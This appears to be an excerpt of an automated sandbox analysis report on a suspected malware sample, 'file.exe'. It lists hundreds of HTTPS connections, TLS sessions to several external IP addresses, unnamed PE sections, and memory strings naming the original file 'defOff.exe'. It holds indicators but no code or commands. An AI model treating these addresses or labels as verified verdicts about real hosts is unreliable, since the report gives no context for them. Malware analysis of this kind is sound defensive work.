Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50097 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00ECBF67 appears 49 times

Source: file.exe, 00000000.00000003.2301820778.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302955214.0000000005BE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302805399.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292084515.0000000005C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301025423.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297588180.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294112878.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300554283.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290613134.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304238442.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304385884.0000000005BF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298508065.0000000005BC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290164770.0000000005B5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294832412.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291077789.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304560717.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292571987.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2287838085.00000000058C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303563097.0000000005ACD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294691061.0000000005B9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305165088.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294574618.0000000005ACF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291191352.0000000005B67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303104851.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2432145498.0000000006226000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2428759644.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
